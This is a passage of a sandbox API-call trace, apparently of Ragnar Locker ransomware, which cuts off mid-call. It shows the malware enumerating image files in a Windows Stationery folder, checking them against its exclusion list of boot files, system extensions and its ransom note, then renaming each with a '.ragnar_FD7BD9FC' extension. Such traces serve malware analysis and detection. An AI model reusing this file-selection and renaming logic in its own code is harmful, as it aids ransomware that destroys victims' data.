shared\\stationery\\stars.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.581] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0069.581] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.581] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Stucco.gif" | out: lpString1="Stucco.gif") returned="Stucco.gif" [0069.581] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned=".gif" [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="autorun.inf") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="boot.ini") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootfont.bin") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootsect.bak") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootmgr") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootmgr.efi") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootmgfw.efi") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="desktop.ini") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="iconcache.db") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="ntldr") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="ntuser.dat") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="ntuser.dat.log") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="ntuser.ini") returned 1 [0069.581] lstrcmpiW (lpString1="Stucco.gif", lpString2="thumbs.db") returned -1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".db") returned 1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".drv") returned 1 [0069.581] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0069.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif")) returned 0x20 [0069.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.582] CloseHandle (hObject=0xffffffff) returned 0 [0069.582] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" [0069.582] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.ragnar_FD7BD9FC" [0069.582] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.582] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0069.582] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.582] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Tanspecks.jpg" | out: lpString1="Tanspecks.jpg") returned="Tanspecks.jpg" [0069.582] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned=".jpg" [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="autorun.inf") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="boot.ini") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootfont.bin") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootsect.bak") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootmgr") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootmgr.efi") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootmgfw.efi") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="desktop.ini") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="iconcache.db") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ntldr") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ntuser.dat") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ntuser.dat.log") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ntuser.ini") returned 1 [0069.582] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="thumbs.db") returned -1 [0069.582] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.583] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg")) returned 0x20 [0069.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.584] CloseHandle (hObject=0xffffffff) returned 0 [0069.584] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" [0069.584] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.ragnar_FD7BD9FC" [0069.584] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.585] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0069.585] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.585] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Tiki.gif" | out: lpString1="Tiki.gif") returned="Tiki.gif" [0069.585] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned=".gif" [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="autorun.inf") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="boot.ini") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootfont.bin") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootsect.bak") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootmgr") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootmgr.efi") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="bootmgfw.efi") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="desktop.ini") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="iconcache.db") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="ntldr") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="ntuser.dat") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="ntuser.dat.log") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="ntuser.ini") returned 1 [0069.585] lstrcmpiW (lpString1="Tiki.gif", lpString2="thumbs.db") returned 1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".db") returned 1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".sys") returned -1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".lnk") returned -1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".msi") returned -1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".drv") returned 1 [0069.585] lstrcmpiW (lpString1=".gif", lpString2=".exe") returned 1 [0069.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif")) returned 0x20 [0069.586] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.586] CloseHandle (hObject=0xffffffff) returned 0 [0069.586] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" [0069.586] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.ragnar_FD7BD9FC" [0069.586] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tiki.gif.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tiki.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.586] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0069.586] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.586] lstrcpyW (in: lpString1=0x1eb63c, lpString2="To_Do_List.emf" | out: lpString1="To_Do_List.emf") returned="To_Do_List.emf" [0069.586] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned=".emf" [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="autorun.inf") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="boot.ini") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootfont.bin") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootsect.bak") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootmgr") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootmgr.efi") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="bootmgfw.efi") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="desktop.ini") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="iconcache.db") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ntldr") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ntuser.dat") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ntuser.dat.log") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="ntuser.ini") returned 1 [0069.586] lstrcmpiW (lpString1="To_Do_List.emf", lpString2="thumbs.db") returned 1 [0069.586] lstrcmpiW (lpString1=".emf", lpString2=".db") returned 1 [0069.586] lstrcmpiW (lpString1=".emf", lpString2=".sys") returned -1 [0069.586] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0069.587] lstrcmpiW (lpString1=".emf", lpString2=".lnk") returned -1 [0069.587] lstrcmpiW (lpString1=".emf", lpString2=".msi") returned -1 [0069.587] lstrcmpiW (lpString1=".emf", lpString2=".drv") returned 1 [0069.587] lstrcmpiW (lpString1=".emf", lpString2=".exe") returned -1 [0069.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf")) returned 0x20 [0069.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.587] CloseHandle (hObject=0xffffffff) returned 0 [0069.587] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" [0069.587] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.ragnar_FD7BD9FC" [0069.587] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\To_Do_List.emf.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\to_do_list.emf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.587] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0069.587] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.587] lstrcpyW (in: lpString1=0x1eb63c, lpString2="White_Chocolate.jpg" | out: lpString1="White_Chocolate.jpg") returned="White_Chocolate.jpg" [0069.587] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned=".jpg" [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="autorun.inf") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="boot.ini") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootfont.bin") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootsect.bak") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootmgr") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootmgr.efi") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="bootmgfw.efi") returned 1 [0069.587] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="desktop.ini") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="iconcache.db") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ntldr") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ntuser.dat") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ntuser.dat.log") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="ntuser.ini") returned 1 [0069.588] lstrcmpiW (lpString1="White_Chocolate.jpg", lpString2="thumbs.db") returned 1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".db") returned 1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".lnk") returned -1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".drv") returned 1 [0069.588] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0069.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg")) returned 0x20 [0069.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0069.589] CloseHandle (hObject=0xffffffff) returned 0 [0069.589] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" [0069.589] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.ragnar_FD7BD9FC" [0069.589] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\White_Chocolate.jpg.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\white_chocolate.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0069.589] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0069.589] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x41 [0069.589] lstrcpyW (in: lpString1=0x1eb63c, lpString2="Wrinkled_Paper.gif" | out: lpString1="Wrinkled_Paper.gif") returned="Wrinkled_Paper.gif" [0069.589] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Wrinkled_Paper.gif") returned=".gif" [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="autorun.inf") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="boot.ini") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootfont.bin") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootsect.bak") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootmgr") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootmgr.efi") returned 1 [0069.589] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="bootmgfw.efi") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="desktop.ini") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="iconcache.db") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ntldr") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ntuser.dat") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ntuser.dat.log") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="ntuser.ini") returned 1 [0069.590] lstrcmpiW (lpString1="Wrinkled_Paper.gif", lpString2="thumbs.db") returned 1 [0069.590] lstrcmpiW 